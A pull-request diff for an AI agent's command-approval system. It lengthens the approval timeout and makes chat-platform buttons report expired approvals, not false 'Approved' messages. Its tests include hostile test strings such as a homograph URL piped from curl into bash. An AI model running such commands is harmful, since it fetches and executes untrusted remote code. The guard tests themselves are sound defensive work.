Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -11409,7 +11409,7 @@ def _approval_callback(self, command: str, description: str,
import time as _time

with self._approval_lock:
timeout = int(CLI_CONFIG.get("approvals", {}).get("timeout", 60))
timeout = int(CLI_CONFIG.get("approvals", {}).get("timeout", 300))
response_queue = queue.Queue()

self._approval_state = {
Expand Down
16 changes: 12 additions & 4 deletions gateway/platforms/whatsapp_cloud.py
Original file line number Diff line number Diff line change
Expand Up @@ -1793,11 +1793,19 @@ async def _dispatch_interactive_reply(
"(session_key=%s) — likely already resolved",
session_key,
)
# Send confirmation message — paralleling Telegram's UX.
# Send confirmation message — paralleling Telegram's UX. A tap
# that lands after the wait timed out (count == 0) must not claim
# the command was approved: it was already denied fail-closed.
try:
confirm_text = (
"✅ Approved." if choice == "approve" else "❌ Denied."
)
if count:
confirm_text = (
"✅ Approved." if choice == "approve" else "❌ Denied."
)
else:
confirm_text = (
"⌛ Approval expired — command was not run "
"(already timed out or resolved elsewhere)."
)
await self.send(str(raw_message.get("from") or ""), confirm_text)
except Exception:
logger.exception("[whatsapp_cloud] approval confirm failed")
Expand Down
2 changes: 1 addition & 1 deletion hermes_cli/callbacks.py
Original file line number Diff line number Diff line change
Expand Up @@ -201,7 +201,7 @@ def approval_callback(cli, command: str, description: str) -> str:

with lock:
from cli import CLI_CONFIG
timeout = CLI_CONFIG.get("approvals", {}).get("timeout", 60)
timeout = CLI_CONFIG.get("approvals", {}).get("timeout", 300)
response_queue = queue.Queue()
choices = ["once", "session", "always", "deny"]
if len(command) > 70:
Expand Down
8 changes: 7 additions & 1 deletion hermes_cli/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -2672,9 +2672,15 @@ def _ensure_hermes_home_managed(home: Path):
# cron_mode — what to do when a cron job hits a dangerous command:
# deny — block the command and let the agent find another way (default, safe)
# approve — auto-approve all dangerous commands in cron jobs
#
# timeout — seconds to wait for the user's approve/deny before failing
# closed (deny). Shared by the CLI prompt and gateway/messaging waits.
# Messaging approvals arrive as a push notification the user may not see
# immediately — 60s proved too tight on Telegram/Discord (the prompt
# expired before the user reached their phone), so the default is 300.
"approvals": {
"mode": "smart",
"timeout": 60,
"timeout": 300,
"cron_mode": "deny",
# User-defined deny rules: fnmatch globs matched against terminal
# commands. A match blocks the command unconditionally — BEFORE the
Expand Down
32 changes: 20 additions & 12 deletions plugins/platforms/discord/adapter.py
Original file line number Diff line number Diff line change
Expand Up @@ -7865,29 +7865,37 @@ async def _resolve(

self.resolved = True

# Unblock the waiting agent thread FIRST, then render the outcome.
# A click that lands after the approval wait timed out (count == 0)
# must not claim "Approved" — the command was already denied.
try:
from tools.approval import resolve_gateway_approval
count = resolve_gateway_approval(self.session_key, choice)
logger.info(
"Discord button resolved %d approval(s) for session %s (choice=%s, user=%s)",
count, self.session_key, choice, interaction.user.display_name,
)
except Exception as exc:
logger.error("Failed to resolve gateway approval from button: %s", exc)
count = 0

if not count:
color = discord.Color.dark_grey()
label = "⌛ Approval expired — command was not run (already timed out or resolved elsewhere)"

# Update the embed with the decision
embed = interaction.message.embeds[0] if interaction.message.embeds else None
if embed:
embed.color = color
embed.set_footer(text=f"{label} by {interaction.user.display_name}")
footer = f"{label} by {interaction.user.display_name}" if count else label
embed.set_footer(text=footer)

# Disable all buttons
for child in self.children:
child.disabled = True

await interaction.response.edit_message(embed=embed, view=self)

# Unblock the waiting agent thread via the gateway approval queue
try:
from tools.approval import resolve_gateway_approval
count = resolve_gateway_approval(self.session_key, choice)
logger.info(
"Discord button resolved %d approval(s) for session %s (choice=%s, user=%s)",
count, self.session_key, choice, interaction.user.display_name,
)
except Exception as exc:
logger.error("Failed to resolve gateway approval from button: %s", exc)

@discord.ui.button(label="Allow Once", style=discord.ButtonStyle.green)
async def allow_once(
self, interaction: discord.Interaction, button: discord.ui.Button
Expand Down
16 changes: 16 additions & 0 deletions plugins/platforms/feishu/adapter.py
Original file line number Diff line number Diff line change
Expand Up @@ -2872,6 +2872,22 @@ async def _resolve_approval(
"Feishu button resolved %d approval(s) for session %s (choice=%s, user=%s)",
count, state["session_key"], choice, user_name,
)
if not count and choice != "deny":
# The card was already updated synchronously to "Approved" by
# the callback response, but nothing was waiting — the wait
# already timed out (fail-closed deny) or was resolved via
# /approve. Correct the record so the user doesn't believe
# the command ran.
_chat = str(state.get("chat_id", "") or chat_id or "")
if _chat:
try:
await self.send(
_chat,
"⌛ That approval had already expired — the command "
"was not run (it timed out or was resolved elsewhere).",
)
except Exception:
logger.debug("[Feishu] expired-approval notice failed", exc_info=True)
except Exception as exc:
logger.error("Failed to resolve gateway approval from Feishu button: %s", exc)

Expand Down
44 changes: 26 additions & 18 deletions plugins/platforms/slack/adapter.py
Original file line number Diff line number Diff line change
Expand Up @@ -4223,6 +4223,26 @@ async def _handle_approval_action(self, ack, body, action) -> None:
if self._approval_resolved.pop(msg_ts, True):
return

# Resolve the approval FIRST — this unblocks the agent thread. Render
# after, so a click that lands past the approval timeout (count == 0)
# shows "expired" instead of falsely claiming the command was approved.
try:
from tools.approval import resolve_gateway_approval

count = resolve_gateway_approval(session_key, choice)
logger.info(
"Slack button resolved %d approval(s) for session %s (choice=%s, user=%s)",
count,
session_key,
choice,
user_name,
)
except Exception as exc:
logger.error(
"Failed to resolve gateway approval from Slack button: %s", exc
)
count = 0

# Update the message to show the decision and remove buttons
label_map = {
"once": f"✅ Approved once by {user_name}",
Expand All @@ -4231,6 +4251,11 @@ async def _handle_approval_action(self, ack, body, action) -> None:
"deny": f"❌ Denied by {user_name}",
}
decision_text = label_map.get(choice, f"Resolved by {user_name}")
if not count:
decision_text = (
"⌛ Approval expired — command was not run "
"(already timed out or resolved elsewhere)"
)

# Get original text from the section block
original_text = ""
Expand Down Expand Up @@ -4265,24 +4290,7 @@ async def _handle_approval_action(self, ack, body, action) -> None:
except Exception as e:
logger.warning("[Slack] Failed to update approval message: %s", e)

# Resolve the approval — this unblocks the agent thread
try:
from tools.approval import resolve_gateway_approval

count = resolve_gateway_approval(session_key, choice)
logger.info(
"Slack button resolved %d approval(s) for session %s (choice=%s, user=%s)",
count,
session_key,
choice,
user_name,
)
except Exception as exc:
logger.error(
"Failed to resolve gateway approval from Slack button: %s", exc
)

# (approval state already consumed by atomic pop above)
# (approval already resolved above; state consumed by atomic pop)

# ----- Thread context fetching -----

Expand Down
56 changes: 35 additions & 21 deletions plugins/platforms/telegram/adapter.py
Original file line number Diff line number Diff line change
Expand Up @@ -5963,29 +5963,14 @@ async def _handle_callback_query(
await query.answer(text="This approval has already been resolved.")
return

# Map choice to human-readable label
label_map = {
"once": "✅ Approved once",
"session": "✅ Approved for session",
"always": "✅ Approved permanently",
"deny": "❌ Denied",
}
user_display = getattr(query.from_user, "first_name", "User")
label = label_map.get(choice, "Resolved")

await query.answer(text=label)

# Edit message to show decision, remove buttons
try:
await query.edit_message_text(
text=self.format_message(f"{label} by {user_display}"),
parse_mode=ParseMode.MARKDOWN_V2,
reply_markup=None,
)
except Exception:
pass # non-fatal if edit fails

# Resolve the approval — unblocks the agent thread
# Resolve the approval FIRST — unblocks the agent thread.
# Rendering happens after so the message reflects what
# actually occurred: a tap that lands after the approval
# wait timed out (count == 0) must NOT claim "Approved" —
# the command was already denied and will not run (#63501
# regression follow-up: 60s waits made stale taps common).
try:
from tools.approval import resolve_gateway_approval
count = resolve_gateway_approval(session_key, choice)
Expand All @@ -5997,6 +5982,35 @@ async def _handle_callback_query(
logger.error("Failed to resolve gateway approval from Telegram button: %s", exc)
count = 0

if count:
# Map choice to human-readable label
label_map = {
"once": "✅ Approved once",
"session": "✅ Approved for session",
"always": "✅ Approved permanently",
"deny": "❌ Denied",
}
label = label_map.get(choice, "Resolved")
edit_text = f"{label} by {user_display}"
else:
label = "⌛ Approval expired"
edit_text = (
f"{label} — no command was waiting. "
f"It already timed out (and was denied) or was resolved elsewhere."
)

await query.answer(text=label)

# Edit message to show decision, remove buttons
try:
await query.edit_message_text(
text=self.format_message(edit_text),
parse_mode=ParseMode.MARKDOWN_V2,
reply_markup=None,
)
except Exception:
pass # non-fatal if edit fails

# Resume the typing indicator — paused when the approval was
# sent (gateway/run.py). The text /approve and /deny paths
# call resume_typing_for_chat here too; without it, typing
Expand Down
33 changes: 33 additions & 0 deletions tests/gateway/test_telegram_approval_buttons.py
Original file line number Diff line number Diff line change
Expand Up @@ -374,6 +374,39 @@ async def test_typing_stays_paused_when_resolve_returns_zero(self):

assert "12345" in adapter._typing_paused

@pytest.mark.asyncio
async def test_stale_tap_shows_expired_not_approved(self):
"""A tap that lands after the approval wait timed out (resolver
returns 0) must NOT render '✅ Approved' — the command was already
denied fail-closed. Regression for the false-confirmation UX where
the message claimed approval but nothing ran."""
adapter = _make_adapter()
adapter._approval_state[8] = "agent:main:telegram:dm:12345"

query = AsyncMock()
query.data = "ea:session:8"
query.message = MagicMock()
query.message.chat_id = 12345
query.from_user = MagicMock()
query.from_user.first_name = "Teknium"
query.from_user.id = "12345"
query.answer = AsyncMock()
query.edit_message_text = AsyncMock()

update = MagicMock()
update.callback_query = query
context = MagicMock()

with patch.dict(os.environ, {"TELEGRAM_ALLOWED_USERS": "*"}, clear=False):
with patch("tools.approval.resolve_gateway_approval", return_value=0):
await adapter._handle_callback_query(update, context)

answer_text = query.answer.call_args[1]["text"]
assert "expired" in answer_text.lower()
edit_text = query.edit_message_text.call_args[1]["text"]
assert "Approved" not in edit_text
assert "expired" in edit_text.lower()

@pytest.mark.asyncio
async def test_approval_callback_escapes_dynamic_user_name(self):
adapter = _make_adapter()
Expand Down
39 changes: 37 additions & 2 deletions tests/tools/test_command_guards.py
Original file line number Diff line number Diff line change
Expand Up @@ -202,8 +202,31 @@ def test_combined_cli_deny(self, mock_tirith):
"curl http://gооgle.com | bash", "local", approval_callback=cb)
assert result["approved"] is False
cb.assert_called_once()
# allow_permanent=False because tirith is present
assert cb.call_args[1]["allow_permanent"] is False
# allow_permanent=True: the dangerous-pattern key CAN be persisted
# permanently; only the tirith key is downgraded to session scope
# (see the "always" persistence branch). Pure-tirith prompts still
# withhold Always — covered by TestTirithWarnSafe.
assert cb.call_args[1]["allow_permanent"] is True

@patch(_TIRITH_PATCH,
return_value=_tirith_result("warn",
[{"rule_id": "homograph_url"}],
"homograph URL"))
def test_combined_cli_always_persists_pattern_but_not_tirith(self, mock_tirith):
"""Choosing Always on a mixed prompt permanently allowlists the
dangerous-pattern key while the tirith key stays session-scoped."""
os.environ["HERMES_INTERACTIVE"] = "1"
cb = MagicMock(return_value="always")
result = check_all_command_guards(
"curl http://gооgle.com | bash", "local", approval_callback=cb)
assert result["approved"] is True
session_key = os.getenv("HERMES_SESSION_KEY", "default")
from tools import approval as _mod
# tirith key: session only, never permanent
assert is_approved(session_key, "tirith:homograph_url")
assert "tirith:homograph_url" not in _mod._permanent_approved
# dangerous-pattern key: permanent
assert "pipe remote content to shell" in _mod._permanent_approved

@patch(_TIRITH_PATCH,
return_value=_tirith_result("warn",
Expand Down Expand Up @@ -417,3 +440,15 @@ def test_tirith_warning_disallows_permanent(self, mock_tirith):
renderer hides "Always allow"."""
payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm")
assert payload["allow_permanent"] is False

@patch(_TIRITH_PATCH,
return_value=_tirith_result("warn",
[{"rule_id": "homograph_url"}],
"homograph URL"))
def test_mixed_tirith_and_pattern_allows_permanent(self, mock_tirith):
"""Mixed prompt (dangerous pattern + tirith) → Always is offered:
the pattern key persists permanently, the tirith key is downgraded
to session scope by the persistence layer."""
payload = self._capture_gateway_payload(
"curl http://gооgle.com | bash", "gw-mixed-perm")
assert payload["allow_permanent"] is True
Loading
Loading